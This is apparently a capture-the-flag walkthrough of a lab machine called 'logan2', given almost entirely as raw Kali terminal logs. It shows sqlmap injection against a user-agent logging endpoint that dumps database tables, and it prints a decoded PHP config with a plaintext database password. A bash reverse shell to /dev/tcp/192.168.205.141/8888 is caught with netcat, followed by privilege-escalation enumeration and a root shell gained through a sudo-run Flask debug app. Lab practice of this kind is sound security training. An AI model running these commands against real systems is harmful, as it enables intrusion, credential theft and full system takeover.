http://192.168.205.144/script.js

document.addEventListener("DOMContentLoaded", function() {
    fetch('/save-user-agent.php', {
        method: 'POST',
        body: JSON.stringify({ user_agent: navigator.userAgent }),
        headers: {
            'Content-Type': 'application/json'
        }
    })
    .then(response => {
        if (response.ok) {
            console.log('User-Agent saved successfully.');
        } else {
            console.error('Error saving User-Agent.');
        }
    })
    .catch(error => {
        console.error('Network error:', error);
    });
});

┌──(kali㉿kali)-[~/test/tmp]
└─$ sqlmap -r sql.txt --batch
        ___
       __H__                                                                                                                         
 ___ ___[,]_____ ___ ___  {1.9#stable}                                                                                                 
|_ -| . [,]     | .'| . |                                                                                                            
|___|_  [']_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:10:23 /2025-01-20/

[17:10:23] [INFO] parsing HTTP request from 'sql.txt'
JSON-like data found in GET body. Do you want to process it? [Y/n/q] Y
Cookie parameter '_csrf' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[17:10:23] [INFO] testing connection to the target URL
[17:10:23] [INFO] testing if the target URL content is stable
[17:10:23] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels
[17:10:23] [INFO] testing if (custom) POST parameter 'JSON-like user_agent' is dynamic
[17:10:23] [WARNING] (custom) POST parameter 'JSON-like user_agent' does not appear to be dynamic
[17:10:23] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON-like user_agent' might not be injectable
[17:10:23] [INFO] testing for SQL injection on (custom) POST parameter 'JSON-like user_agent'
[17:10:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:10:24] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:10:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:10:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:10:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:10:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:10:24] [INFO] testing 'Generic inline queries'
[17:10:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:10:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:10:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:10:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:10:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:10:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[17:10:24] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[17:10:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:10:24] [WARNING] (custom) POST parameter 'JSON-like user_agent' does not seem to be injectable
[17:10:24] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 17:10:24 /2025-01-20/

┌──(kali㉿kali)-[~/test/tmp]
└─$ sqlmap --url http://192.168.205.144/save-user-agent.php --method POST --data '{"user_agent":"1"}' --batch --current-db 
        ___
       __H__                                                                                                                         
 ___ ___[']_____ ___ ___  {1.9#stable}                                                                                               
|_ -| . [)]     | .'| . |                                                                                                            
|___|_  [(]_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

省略
[17:17:19] [INFO] adjusting time delay to 1 second due to good response times
logan
current database: 'logan'

┌──(kali㉿kali)-[~/test/tmp]
└─$ sqlmap --url http://192.168.205.144/save-user-agent.php --method POST --data '{"user_agent":"1"}' --batch -D logan --tables     
        ___
       __H__                                                                                                                         
 ___ ___[(]_____ ___ ___  {1.9#stable}                                                                                                 
|_ -| . [(]     | .'| . |                                                                                                            
|___|_  [']_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

省略
[17:26:42] [INFO] adjusting time delay to 1 second due to good response times
3
[17:26:42] [INFO] retrieved: browser
[17:27:04] [INFO] retrieved: comments
[17:27:30] [INFO] retrieved: users
Database: logan
[3 tables]
+----------+
| browser  |
| comments |
| users    |
+----------+


┌──(kali㉿kali)-[~/test/tmp]
└─$ sqlmap --url http://192.168.205.144/save-user-agent.php --method POST --data '{"user_agent":"1"}' --batch -D logan -T users --dump
        ___
       __H__                                                                                                                         
 ___ ___[.]_____ ___ ___  {1.9#stable}                                                                                                 
|_ -| . [)]     | .'| . |                                                                                                            
|___|_  [(]_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

省略
Database: logan
Table: users
[1 entry]
+------------------------------+--------+
| email                        | user   |
+------------------------------+--------+
| logan@newsitelogan.logan.hmv | logan  |
+------------------------------+--------+

┌──(kali㉿kali)-[~/test]
└─$ echo 'PD9waHAKCQoJJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKCSR1c2VybmFtZSA9ICJsb2dhbiI7CgkkcGFzc3dvcmQgPSAiU3VwZXJfbG9nYW4xMjM0IjsKCSRkYm5hbWUgPSAibG9nYW4iOwoKCS8vIENyZWF0ZSBjb25uZWN0aW9uCgkkY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1lKTsKCS8vIENoZWNrIGNvbm5lY3Rpb24KCWlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewoJICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwoJfQoKPz4K' |base64 -d
<?php

        $servername = "localhost";
        $username = "logan";
        $password = "Super_logan1234";
        $dbname = "logan";

        // Create connection
        $conn = new mysqli($servername, $username, $password, $dbname);
        // Check connection
        if ($conn->connect_error) {
          die("Connection failed: " . $conn->connect_error);
        }

?>

#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.205.141/8888 0>&1"
省略

┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.144] 55202
bash: cannot set terminal process group (428): Inappropriate ioctl for device
bash: no job control in this shell
git@logan2:~/gitea-repositories/logan/future_web.git$ id
id
uid=104(git) gid=113(git) groups=113(git)

script /dev/null -c bash  
ctrl+z  
stty raw -echo; fg  
reset xterm  
export TERM=xterm  
echo $SHELL  
export SHELL=/bin/bash  
stty rows 59 cols 236

git@logan2:~/gitea-repositories/logan/future_web.git$ sudo -l
Matching Defaults entries for git on logan2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User git may run the following commands on logan2:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py
git@logan2:~/gitea-repositories/logan/future_web.git$ ls -la /opt/app.py
ls: cannot access '/opt/app.py': Permission denied
git@logan2:~/gitea-repositories/logan/future_web.git$ cd /home/
git@logan2:/home$ ls -al
total 20
drwxr-xr-x  5 root  root  4096 Sep 11  2023 .
drwxr-xr-x 18 root  root  4096 Aug 27  2023 ..
drwxr-xr-x  4 git   git   4096 Jan 20 02:58 git
drwx------  2 kevin kevin 4096 Sep 11  2023 kevin
drwx------  3 logan logan 4096 Sep 11  2023 logan
git@logan2:/home$ cd git/
git@logan2:~$ ls -al
total 20
drwxr-xr-x 4 git  git  4096 Jan 20 02:58 .
drwxr-xr-x 5 root root 4096 Sep 11  2023 ..
-rw-r--r-- 1 git  git   123 Jan 20 02:58 .gitconfig
drwx------ 2 git  git  4096 Aug 27  2023 .ssh
drwxr-xr-x 3 git  git  4096 Sep 11  2023 gitea-repositories
git@logan2:~$ cd /tmp/
git@logan2:/tmp$ ls -al
total 32
drwxrwxrwt  8 root root 4096 Jan 20 03:53 .
drwxr-xr-x 18 root root 4096 Aug 27  2023 ..
drwxrwxrwt  2 root root 4096 Jan 20 02:58 .ICE-unix
drwxrwxrwt  2 root root 4096 Jan 20 02:58 .X11-unix
drwxrwxrwt  2 root root 4096 Jan 20 02:58 .XIM-unix
drwxrwxrwt  2 root root 4096 Jan 20 02:58 .font-unix
drwx------  3 root root 4096 Jan 20 02:58 systemd-private-0d3aa9413d3b439bb9007bce25456a9d-apache2.service-ZTwD9s
drwx------  3 root root 4096 Jan 20 02:58 systemd-private-0d3aa9413d3b439bb9007bce25456a9d-systemd-logind.service-6lKqu3
git@logan2:/tmp$ cd /mnt/
git@logan2:/mnt$ ls -al
total 8
drwxr-xr-x  2 root root 4096 Aug 27  2023 .
drwxr-xr-x 18 root root 4096 Aug 27  2023 ..
git@logan2:/mnt$ cd /tmp/
git@logan2:/tmp$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
git@logan2:/tmp$ /sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
git@logan2:/tmp$ ss -tuln | grep tcp
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*        
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*        
tcp   LISTEN 0      128             [::]:22           [::]:*        
tcp   LISTEN 0      511                *:80              *:*        
tcp   LISTEN 0      4096               *:3000            *:*        
git@logan2:/tmp$ sudo -l
Matching Defaults entries for git on logan2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User git may run the following commands on logan2:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py
git@logan2:/tmp$ sudo /usr/bin/python3 /opt/app.py
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://192.168.205.144:8000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 632-008-714

┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8889                                  
listening on [any] 8889 ...
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.144] 58630
root@logan2:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)